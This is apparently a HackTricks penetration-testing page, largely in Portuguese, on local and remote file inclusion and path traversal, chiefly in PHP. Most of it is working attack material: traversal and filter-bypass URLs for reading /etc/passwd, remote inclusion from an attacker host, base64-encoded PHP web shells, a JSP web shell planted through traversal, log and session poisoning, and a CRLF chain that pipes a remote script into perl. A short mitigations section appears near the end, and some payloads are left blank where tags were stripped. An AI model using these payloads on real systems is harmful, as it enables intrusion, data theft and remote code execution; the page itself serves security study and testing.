# File Inclusion/Path traversal {{#include ../../banners/hacktricks-training.md}} ## File Inclusion **Remote File Inclusion (RFI):** O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto está **desativado** por padrão (**allow_url_include**).\ **Local File Inclusion (LFI):** O servidor carrega um arquivo local. A vulnerabilidade ocorre quando o usuário consegue controlar de alguma forma qual arquivo será carregado pelo servidor. Funções **PHP** vulneráveis: require, require_once, include, include_once Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interessantes - LFI2RCE arquivos ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** **Misturando várias listas LFI de \*nix e adicionando mais caminhos, eu criei esta:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} Tente também trocar `/` por `\`\ Tente também adicionar `../../../../../` Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Mescla de diferentes wordlists: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} Tente também trocar `/` por `\`\ Tente também remover `C:/` e adicionar `../../../../../` Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Consulte a lista LFI de Linux. ## Basic LFI and bypasses All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` ### traversal sequences removidos não recursivamente ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** Bypass a adição de caracteres extras ao final da string fornecida (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Isso está **corrigido desde o PHP 5.4** ### **Codificação** Você pode usar codificações não padrão, como double URL encode (e outras): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### A partir de uma pasta existente Talvez o back-end esteja verificando o caminho da pasta: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorando Diretórios do Sistema de Arquivos em um Servidor O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso: 1. **Determinar Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` 2. **Probe for Folders:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpretar os resultados:** A resposta do servidor indica se a pasta existe: - **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado. - **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada. 4. **Exploração recursiva:** Pastas descobertas podem ser investigadas mais a fundo para subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI). Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado. Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são tratados como o mesmo caminho. - Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando `passwd/`) não altera o arquivo alvo. - De forma semelhante, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo acessado. Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. ``` ``` http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` Nesses cenários, o número de traversals necessários pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor. - **Usando Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar no sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. - **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam anuladas, mas o caminho desejado (`/etc/passwd`) permaneça intacto. - **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor. When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. **This vulnerability was corrected in PHP 5.3.** ### **Truques para contornar filtros** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion No php isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Isso precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] > No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado). Outro exemplo **não usando o protocolo `php://`** seria: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Elemento root em Python Em Python, em um código como este: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` É o comportamento intencional de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto. ## Java Listar Diretórios Parece que se você tiver um Path Traversal em Java e você **pedir por um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (afaik). ## Top 25 parâmetros Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI usando PHP wrappers & protocols ### php://filter PHP filters permitem realizar operações básicas de **modificação nos dados** antes que sejam lidos ou escritos. Existem 5 categorias de filtros: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">") - Note que este filtro desapareceu nas versões modernas do PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` - `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv..`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l` > [!WARNING] > Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muita informação) - `zlib.inflate`: Descomprime os dados - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecated - `mdecrypt.*` : Deprecated - Outros filtros - Ao executar em php `var_dump(stream_get_filters());` você pode encontrar um par de **filtros inesperados**: - `consumed` - `dechunk`: reverte HTTP chunked encoding - `convert.*` ```php # String Filters ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); ## Same chain without the "|" char echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); ## string.string_tags example echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); # Conversion filter ## B64 decode echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); ## Chain B64 encode and decode echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); ## convert.quoted-printable-encode example echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); =C2=A3hellooo=3D ## convert.iconv.utf-8.utf-16le echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); # Compresion Filter ## Compress + B64 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] > A parte "php://filter" não diferencia maiúsculas de minúsculas ### Usando php filters como oracle para ler arquivos arbitrários [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oracle. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção. No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido: - Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente. - Isso será usado para gerar um **text so big when the initial letter is guessed correctly** que fará o php disparar um **erro**. - O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex. - Isso, combinado com o anterior (e other filters dependendo da letra testada), permitirá advinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a deletará e a bomba inicial fará o php gerar um erro. - O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto dechunk não a deleta e o php error é acionado porque se multiplica com a bomba inicial. - Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex). - Quando o char inicial é um número é necessário fazer base64 encode dele e leak as 2 primeiras letras para leak o número. - The final problem is to see **how to leak more than the initial letter**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível trocar a ordem dos chars e trazer para a primeira posição outras letras do texto. - E para conseguir **further data** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivot with the next 2 bytes**, e **delete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak. No post também foi leaked uma ferramenta para automatizar isso: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd Esse wrapper permite acessar file descriptors que o processo tem abertos. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não tenho certeza de como isso poderia ser útil em um attack) ### zip:// and rar:// Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ Para poder abusar do protocolo rar ele **precisa ser ativado especificamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php # To compress with rar rar a payload.rar payload.php; mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### data:// ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Observe que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`** ### expect:// Expect precisa estar ativado. Você pode executar código usando isto: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// Especifique seu payload nos parâmetros POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`: ```php startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` Para compilar o arquivo `.phar`, o seguinte comando deve ser executado: ```bash php --define phar.readonly=0 create_path.php ``` Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities. Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, a exploração de uma vulnerabilidade de deserialização pode ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`. For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Guia de Exploração de Deserialização em Phar](phar-deserialization.md) {{#ref}} phar-deserialization.md {{#endref}} ### CVE-2024-2961 Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter uma RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Muito rápido resumo: um **overflow de 3 bytes** no heap do PHP foi abusado para **alterar a cadeia de free chunks** de um tamanho específico a fim de poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\ Foi possível alocar chunks de tamanhos específicos abusando mais php filters. ### Mais protocolos Consulte mais [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local - [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontra nomes de caminhos que correspondem a um padrão (Não retorna nada imprimível, então não é realmente útil aqui) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (Não é útil para ler arquivos arbitrários) ## LFI via PHP's 'assert' Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized. For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso para leitura do conteúdo de arquivos, um attacker poderia usar: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` De forma similar, para executar comandos arbitrários do sistema, pode-se usar: ```plaintext ' and die(system("id")) or ' ``` É importante **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] > Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porque o conteúdo não é mostrado. Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**. Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**. Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**. Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Para os detalhes técnicos confira o post mencionado! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. Fluxo típico de exploração: - Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). - Determine web-exposed directories. Common examples: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. - Browse to the dropped payload and execute commands. Notas: - The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. - Em stacks Java, essas escritas de arquivo são frequentemente implementadas com simples concatenação de `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central. Exemplo genérico estilo XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml ../../../webapps/ROOT/shell.jsp <% String c = request.getParameter("cmd"); if (c != null) { Process p = Runtime.getRuntime().exec(c); try (var in = p.getInputStream(); var out = response.getOutputStream()) { in.transferTo(out); } } %> ]]> ``` Mitigações que derrotam essa classe de bugs: - Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base allow-listed. - Rejeite qualquer caminho contendo `..`, raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados. - Execute o writer como uma conta com poucos privilégios e segregue os diretórios de escrita das raízes servidas. ## Remote File Inclusion Explicado anteriormente, [**siga este link**](#remote-file-inclusion). ### Via Apache/Nginx log file Se o servidor Apache ou Nginx estiver **vulnerável a LFI** na função include você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **``** e incluir esse arquivo > [!WARNING] > Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP gerará um erro** ali e **nada mais será executado**. > > Além disso, certifique-se de **escrever corretamente o payload** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e isso é decodificado dentro dos logs. A PHPShell pode ser inserida dentro desse header.\ Outros possíveis caminhos de log: ```python /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### Via Email **Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tente incluir o e-mail do usuário usando um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** ### Via /proc/\*/fd/\* 1. Faça upload de muitas shells (por exemplo: 100) 2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced) ### Via /proc/self/environ Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Para manter o arquivo legível, é melhor injetar nos metadados das pictures/doc/pdf ### Via upload de arquivo Zip Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Através de sessões PHP Verifique se o site usa sessão PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` No PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Defina o cookie para `` ``` login=1&user=&pass=password&lang=en_us.php ``` Use o LFI para incluir o arquivo de sessão do PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh Se ssh estiver ativo verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa** ### **Via** **vsftpd** _**logs**_ Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados: 1. Injete um payload PHP no campo username durante o processo de login. 2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` ### Via php filters (sem arquivo necessário) This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} ### Via segmentation fault Upload um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} ### Via Nginx armazenamento de arquivos temporários Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você talvez consiga obter RCE com a seguinte técnica: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} ### Via PHP_SESSION_UPLOAD_PROGRESS Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} ### Via temp file uploads in Windows Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode conseguir RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} ### Via `pearcmd.php` + URL args As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como argumento. Veja também [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` O seguinte abusa de uma CRLF vuln para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` ### Via phpinfo() (file_uploads = on) Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure Se você encontrou uma **Local File Inclusion** e **puder exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} ### Via eternal waiting + bruteforce Se você puder abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force filenames durante horas** para encontrar o arquivo temporário: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} ### To Fatal Error Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo uma 2 vezes para lançar esse erro). **Não sei quão útil isso é, mas pode ser.**\ _Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
